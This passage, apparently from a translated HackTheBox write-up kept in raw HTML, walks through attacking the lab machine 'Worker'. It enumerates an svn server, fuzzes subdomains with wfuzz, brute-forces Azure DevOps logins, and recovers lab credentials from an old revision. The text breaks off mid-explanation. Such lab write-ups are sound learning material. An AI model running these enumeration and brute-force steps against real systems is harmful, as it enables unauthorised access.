class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Method 2: Start-Process&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start-Process powershell -Credential $cred -ArgumentList &amp;#34;COMMAND_TO_RUN&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The third question:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0378.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I have to say, that really was impressive.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0379.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0380.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At this point, the logic was crystal clear.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IoT Core is the management layer controlling access to the USB device, which is the data directory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Port 8080 exposes the IoT Core management interface, the Windows Device Portal mentioned earlier&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The main application runs on port 28080&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Credentials recovered through the web interface on port 8080 are required to access the data directory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Attacker --&amp;gt; port 8080 management interface --&amp;gt; USB device --&amp;gt; data directory&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I have to say, this box had a lot of character. It revolved around Windows-specific services and expanded on them really well.&lt;/p&gt;&#10;&lt;h2 id="17worker"&gt;&lt;a href="#17worker" class="header-anchor"&gt;&lt;/a&gt;17.Worker&#10;&lt;/h2&gt;&lt;p&gt;I got stuck while trying to get a shell, so this is for practice only.&lt;/p&gt;&#10;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0381.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0382.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0383.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing on port 80, so I left a brute-force scan running in the background.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0384.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 3690 was running an svnserve service.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/network-services-pentesting/3690-pentesting-subversion-svn-server" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/network-services-pentesting/3690-pentesting-subversion-svn-server&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;That page has payloads for svnserve, and it even uses this same machine as its example.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn ls svn://10.10.10.203 #list&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn log svn://10.10.10.203 #Commit history&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn checkout svn://10.10.10.203 #Download the repository&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn up -r 2 #Go to revision 2 inside the checkout folder&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I added the domain to hosts.&lt;/p&gt;&#10;&lt;p&gt;I got the source code, but it was just a static front-end site. I figured it was probably meant to give me a hint. At &lt;a class="link" href="http://dimension.worker.htb/#work" target="_blank" rel="noopener"&#10; &gt;http://dimension.worker.htb/#work&lt;/a&gt;, I found a bunch of subdomains.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0385.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I opened them and added them to hosts, while continuing to brute-force subdomains.&lt;/p&gt;&#10;&lt;p&gt;The ones I added to hosts all seemed to be static front-end pages from &lt;a class="link" href="http://html5up.net/" target="_blank" rel="noopener"&#10; &gt;http://html5up.net/&lt;/a&gt;. JSFinder.py did not find anything for these domains either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0386.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.203 -H &amp;#34;Host: FUZZ.worker.htb&amp;#34; --hh 703&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0387.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0388.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Looks like brute forcing was still necessary, though I generally do not like it because it makes everything lag.&lt;/p&gt;&#10;&lt;p&gt;First, I used cewl to generate a wordlist from all the domains, then took a look at the request.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0389.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It used the NTLM protocol, which looked a little troublesome, but two other protocols were shown on the right. It seemed like they could be used for authentication, so I Googled it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/aspnet/web-api/overview/security/basic-authentication" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/aspnet/web-api/overview/security/basic-authentication&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0390.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So I could construct the request using Basic authentication.&lt;/p&gt;&#10;&lt;p&gt;If I used this wordlist for both usernames and passwords, that would be 1800*1800 combinations—far too many. So I decided to look for a few likely usernames instead.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0391.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The framework turned out to be Azure DevOps Server, so I planned to use that clue to find usernames.&lt;/p&gt;&#10;&lt;p&gt;Meanwhile, ffuf was still running and gave me another result.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0392.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Of course, there was still nothing there. I started brute forcing the Azure DevOps Server. I could not find a default username, so I tried a few simple ones.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0393.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I also tried brute forcing directories on the service. At the same time, I kept svnserve in mind. I still was not entirely sure what it did, since I had only used commands provided by exploits before. It could retrieve the source code of the default page; if it could also retrieve the source for devops.worker.htb, I felt I would be very close to the target.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0394.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had not read carefully enough. When I went back to svnserve, I noticed that it had actually mentioned this.&lt;/p&gt;&#10;&lt;p&gt;I did not know what use the static front-end source was. After looking more carefully at the commands, though, I realized I might have missed something obvious.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn ls svn://10.10.10.203 #list&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn log svn://10.10.10.203 #Commit history&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn checkout svn://10.10.10.203 #Download the repository&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn up -r 2 #Go to revision 2 inside the checkout folder&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;There was very little relevant information available. My understanding was that an SVN repository is somewhat like one on GitHub: changes can be committed many times, and I can retrieve the results of those updates and update my local repository. At least, that was what my own testing seemed to show.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn log svn://10.10.10.203&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0395.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was an r1-r5 entry near the end, so I looked up the following command.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svn up -r 2&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0396.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It is actually short for update: it updates the selected target revision in the local copy.&lt;/p&gt;&#10;&lt;p&gt;I had just downloaded the first revision. I started updating to revisions 2, 3, 4, and 5 to see what was different.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0397.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;moved.txt had been deleted, and a new deploy.ps1 had been added.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0398.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now I understood. Just like on the previous machine, PowerShell had encrypted the password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0399.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So the plaintext credentials were still:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nathen:wendel98&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Unfortunately, neither WinRM nor devops.worker.htb would accept those credentials.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0400.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I switched to the third revision.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0401.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It had only removed the password, which made sense if the code was going to be open sourced.&lt;/p&gt;&#10;&lt;p&gt;The fourth revision:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0402.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It simply deleted deploy.ps1.&lt;/p&gt;&#10;&lt;p&gt;The fifth revision:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0403.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At this point, the key was clearly the second revision, where the password appeared. But I still did not understand why authentication kept failing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0404.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Yes, something was wrong with the password. On the previous machine, when I learned about PowerShell encryption, the plaintext was the actual password. The point of encrypting it was simply to make it easier to use later, so using the plaintext should have worked. Yet both port 80 and WinRM told me authentication had failed.&lt;/p&gt;&#10;&lt;p&gt;PowerShell is a weak spot for me, so I started trying to understand what that PowerShell script was doing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0405.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Here I learned that pwd was lightly encrypted and then passed to Credential. That credential was then used to execute the following:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start-Process powershell.exe -Credential $Credential -ArgumentList (&amp;#34;-file $args&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start-Process starts a new process to run the following command&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell.exe -Credential $Credential uses the credentials defined above&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ArgumentList passes arguments&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The final command is&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell.exe -file Copy-Site.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0406.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;-file passes in Copy-Site.ps1 and then executes it. That made everything click. So, to obtain the password, I currently needed to run:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$user = &amp;#34;nathen&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$plain = &amp;#34;wendel98&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$pwd = ($plain | ConvertTo-SecureString)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Before I started studying the logic of this ps1 file, I had tried running it on my Windows 11 host. It threw an error, so I ignored it at the time. Now I needed to revisit it.&lt;/p&gt;&#10;&lt;p&gt;I could not get this encryption logic to run. I found another method at &lt;a class="link" href="https://stackoverflow.com/questions/28352141/convert-a-secure-string-to-plain-text" target="_blank" rel="noopener"&#10; &gt;https://stackoverflow.com/questions/28352141/convert-a-secure-string-to-plain-text&lt;/a&gt;, but this was the result:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0407.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The encryption was only there to create the credential and served no other purpose. That really was the password. At least I now had an account, so I tried brute forcing it with the wordlist I still had.&lt;/p&gt;&#10;&lt;p&gt;I planned to brute force it with both Burp Suite and crackmapexec.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0408.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0409.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then I continued brute forcing directories on the site. It found a /bin directory that returned 404, but nothing else.&lt;/p&gt;&#10;&lt;p&gt;The brute-force attempts against WinRM and port 80 were also useless. There was still another possibility: wendel98 ended in numbers, so I could generate a new wordlist based on that password.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crunch 8 8 -t wendel%% &amp;gt; new_password.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That wordlist did not work either. I thought I would not need to read a write-up for this machine, but I was stuck again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0410.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0411.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I did not expect to get stuck here.&lt;/p&gt;&#10;&lt;p&gt;I opened a fresh Google Chrome window and finally got in, because for some reason Firefox would not let me log in either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0412.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could not find any Azure DevOps vulnerabilities online. Maybe I needed to download the source code and find something in it? But it was just a static front-end page, with no useful information to extract.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0413.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was an interesting-looking file here, but it was empty when I opened it. I tried checking its history.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0414.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still nothing. The only idea I had at that point was that uploaded files might be parsed normally, but that was not actually the case. For example, I could not even get the current index.html parsed. I pulled the project locally, but opening it revealed nothing either. I had no good ideas, so I tried Googling.&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, I could not find any way to exploit it. I changed my approach: if Azure DevOps could deploy aspx or asp files, then a successful deployment could also get me a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0415.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found an official Microsoft blog post. My understanding was that using Azure DevOps to manage an application after deploying it was fine, but I could not deploy directly on Azure DevOps itself.&lt;/p&gt;&#10;&lt;p&gt;I started reading a write-up. Even after looking at the next step, I still could not understand how it had been deployed, since this was my first time working with this platform.&lt;/p&gt;&#10;&lt;p&gt;So everything below is just for learning, because this was beyond what I understood at the time. Previously, I would look up an application&amp;rsquo;s RCE process, quickly learn how the application worked, and then get RCE. There was nothing like that here. Instead, I had to learn how to deploy something, exactly like on the previous machine. I was learning from scratch again, and these applications each have their own unique workflows. This was something I had to learn, difficult or not. I would combine Claude with other people&amp;rsquo;s write-ups until I understood it completely, and record my notes below.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.youtube.com/watch?v=scEDHsr3APg" target="_blank" rel="noopener"&#10; &gt;https://www.youtube.com/watch?v=scEDHsr3APg&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This video clearly explains how DevOps CI/CD works.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.redhat.com/zh/topics/devops/what-is-ci-cd" target="_blank" rel="noopener"&#10; &gt;https://www.redhat.com/zh/topics/devops/what-is-ci-cd&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This one goes into a little more detail.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0416.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;CI means that after I make and merge a change to an application, it is deployed automatically. This is similar to what I had just seen in Azure DevOps.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0417.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were lots of projects here, which I had already discovered while brute forcing subdomains. Under pipelines:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0418.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could clearly see the deployment configuration file. This file defined how the project should be published. Its target directory was w:\sites&amp;amp;#20179;管名称.worker.htb, while the project repository was named alpha.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0419.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So what is CD? It is automated delivery and deployment. As mentioned above, CI automatically merges a project, a little like a push on GitHub. When something is pushed to the main branch, it automatically checks what was added and removed. The difference here is that the process is automated. After CI completes automatically, CD automatically deploys the result—the website we can see.&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;When you submit new code or changes&lt;/li&gt;&#10;&lt;li&gt;The Pipeline runs automatically&lt;/li&gt;&#10;&lt;li&gt;The CopyFiles task copies the files to the corresponding directory&lt;/li&gt;&#10;&lt;li&gt;The IIS server automatically recognizes that directory as a new website&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;At this point, the theory behind the approach was 